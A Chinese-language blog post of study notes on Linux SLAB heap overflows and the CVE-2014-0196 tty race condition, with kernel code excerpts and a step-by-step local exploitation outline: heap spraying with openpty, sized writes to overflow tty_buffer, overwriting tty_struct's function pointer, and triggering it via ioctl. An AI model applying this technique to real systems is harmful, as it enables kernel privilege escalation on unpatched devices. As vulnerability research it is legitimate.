Retme的未来道具研究所

世界線の収束には、逆らえない

已经有很多资料讲述SLAB攻击,本文只是自己的笔记。想要了解这种技术请直接去看文末罗列的参考资料

一 认识SLAB

1. 对整页的内存页面进行管理和利用

2. 相同大小的结构会被放在一个队列中,称为一个slab,所有的同类slab由一个kmem_cache管理

3.slab_t结构代表一个slab对象

/proc/slabinfo可以获取到SLAB的信息


kmalloc使用的slab叫做kmalloc-xxxx,如kmalloc-2048

图中看到的其他名字都是特用的内存,常规申请应该用kmalloc,kmalloc也是最常出问题的

4.设计者的论文

An Object-Caching Kernel Memory Allocator

每个slab对象大于页面的八分之一的时候


小于1/8个页面的时候:


但是对于linux而言,kmem_slab在整个页面的结尾而不是开始

5. 看看linux中的情况  http://www.phrack.org/issues/64/6.html

总结:这里需要知道的就是SLAB内存管理中,所有相同大小的内存块是以线性排列的。这样堆溢出很容易覆盖到相同大小的另一个内存块


二  关于CVE-2014-0196

https://git.kernel.org/cgit/linux/kernel/git/gregkh/tty.git/commit/?h=tty-linus&id=4291086b1f081b869c6d79e5b7441633dc3ace00

n_tty_write这个函数代码没有加锁,导致同步问题

同步问题最终发生在tty_insert_flip_string_fixed_flag

A                                           B 
__tty_buffer_request_room   
                                    __tty_buffer_request_room 
memcpy(buf(tb->used), ...) 
tb->used += space; 
                                    memcpy(buf(tb->used), ...) ->BOOM



A/B这两个进程这样去操作buffer,将导致tty_buffer所在的堆溢出

三 关于tty

首先需要了解溢出目标 tty_buffer



struct tty_buffer 

{ 

  struct tty_buffer *next;
  char *char_buf_ptr; 
  unsigned char *flag_buf_ptr; 
  int used; 
  int size; 
  int commit; 
  int read; 
  /* Data points here */ 
  unsigned long data[0]; 

}; 

这个结构后面会直接跟着char_bufferflag_buffer,这两个缓冲区的大小都是size

size 开始的时候会是256 ,这个size是可以以256为粒度动态增长的,动态增长将导致buffer的重新分配,最大可以分配到

TTY_BUFFER_PAGE



这个数值是:


#define TTY_BUFFER_PAGE  (((PAGE_SIZE - sizeof(struct tty_buffer)) / 2) & ~0xFF)


也就是要确保tty_buffer不超过一页。最大将会被置于kmalloc-4096的slab中

这个内存大小最小是 256*2 + sizeof(tty_buffer) 也会在kmalloc-1024的slab中。

tty_buffer_find负责内存不足时重新分配


static struct tty_buffer *tty_buffer_find(struct tty_struct *tty, size_t size)
{
    struct tty_buffer **tbh = &tty->buf.free;
    while ((*tbh) != NULL) {
        struct tty_buffer *t = *tbh;
        if (t->size >= size) {
            *tbh = t->next;
            t->next = NULL;
            t->used = 0;
            t->commit = 0;
            t->read = 0;
            tty->buf.memory_used += t->size;
            return t;
        }
        tbh = &((*tbh)->next);
    }
    /* Round the buffer size out */
    size = (size + 0xFF) & ~0xFF;
    return tty_buffer_alloc(tty, size);
    /* Should possibly check if this fails for the largest buffer we
       have queued and recycle that ? */
}

四 关于漏洞利用

整体思路就是,向无锁的tty_buffer写内存数据,造成tty_bufffer的溢出。覆盖相同大小相


先来看负责拷贝数据的函数:


int tty_insert_flip_string_fixed_flag(struct tty_struct *tty,
        const unsigned char *chars, char flag, size_t size)
{
    int copied = 0;
    do {
        int goal = min_t(size_t, size - copied, TTY_BUFFER_PAGE);
        int space = tty_buffer_request_room(tty, goal);
        struct tty_buffer *tb = tty->buf.tail;
        /* If there is no space then tb may be NULL */
        if (unlikely(space == 0))
            break;
        memcpy(tb->char_buf_ptr + tb->used, chars, space);
        memset(tb->flag_buf_ptr + tb->used, flag, space);
        tb->used += space;
        copied += space;
        chars += space;
        /* There is a small chance that we need to split the data over
           several buffers. If this is the case we must loop */
    } while (unlikely(size > copied));
    return copied;
}

需要说明的是,tty_buffer_request_room是有锁的,这个函数负责检查tty_buffer的内存块是否足够,不够就调用tty_buffer_find去重新分配更大的内存



目前为止,这是一个竞争问题,假设进程A和进程B去写这个tty_buffer


1. A进入 tty_insert_flip_string_fixed_flag,调用 tty_buffer_request_room条件满足


2. B进入 tty_insert_flip_string_fixed_flag,调用 tty_buffer_request_room条件满足


3. A进程将kmalloc-2048tty_buffer写满,tty_buffer->size = 2048


tty_buffer->used = 2048


4. B进程继续向tty_buffer->used后面写内存,转化为堆内存溢出问题

五 如何利用


虽然这是一个双进程竞争问题,但是事实上一个进程就可以完成任务。因为写操作是异步的,这由kernel_thread替我完成。

剩下的工作,就是将一个结构体布局在溢出的tty_buffer后面,这个结构体有一个函数指针,我们使用溢出的内存数据覆盖这个结构体即可。那么在这个结构体中的指针指向的函数被调用时候,我们将得到执行机会.

tty_struct恰恰是这样一个结构体。他有函数指针,并且结构体大小合适,能保证分配在kmalloc-1024 ~ kmalloc4096之间

struct tty_struct {
    int magic;
    struct kref kref;
    struct device *dev;
    struct tty_driver *driver;
    const struct tty_operations *ops;
    int index;
    […]
}



有一点遗憾的是,tty_struct的大小实际上是不定的,在goldfish中是1024.有的手机甚至是4096.....这降低了这个漏洞的通用性

但大多是2048,所以2048为例:



首先创建一个我们用来溢出tty_buffertty


if (openpty(&master_fd, &slave_fd, NULL, NULL, NULL) == -1) {
    puts("\n[-] pty creation failed");
    return 1;
}

然后向其中写入257个字节,这个时候tty_buffer被分配到 kmalloc-2048

write(slave_fd, buf, 257);

接着创建40tty_struct,将slab填满,使得堆变得有序


for (j = 0; j < 40; ++j) {
  if (openpty(&fds[j], &fds2[j], NULL, NULL, NULL) == -1) {
      puts("\n[-] pty creation failed");
      return 1;
}
}

开始溢出


write(slave_fd, buf, 255);
write(slave_fd, buf, 2048 - 28 - (257 + 255 + 1)); 
write( slave_fd, &overwrite, sizeof(overwrite) );


第一句,填满目前已经申请的256 char  buffer 和 256 flag buffer,是的,当发现tty是不需要flag buffer 的时候,flag buffer的空间也可以被用作char buffer


然后第二句,填满整个SLAB,准备溢出

第三句,开始溢出

之后的事情就简单了,向之前自己创建的40个tty_struct一个一个去发ioctl,触发我们溢出的函数指针

一旦找到那个倒霉的tty_struct,则利用成功


参考:

http://blog.includesecurity.com/2014/06/exploit-walkthrough-cve-2014-0196-pty-kernel-race-condition.html

http://bugfuzz.com/stuff/cve-2014-0196-md.c

http://www.phrack.org/issues/64/6.html


仅有一条评论 »

  1. [...]SLAB 溢出攻击 & CVE-2014-0196 exploit for Android [...]

评论已关闭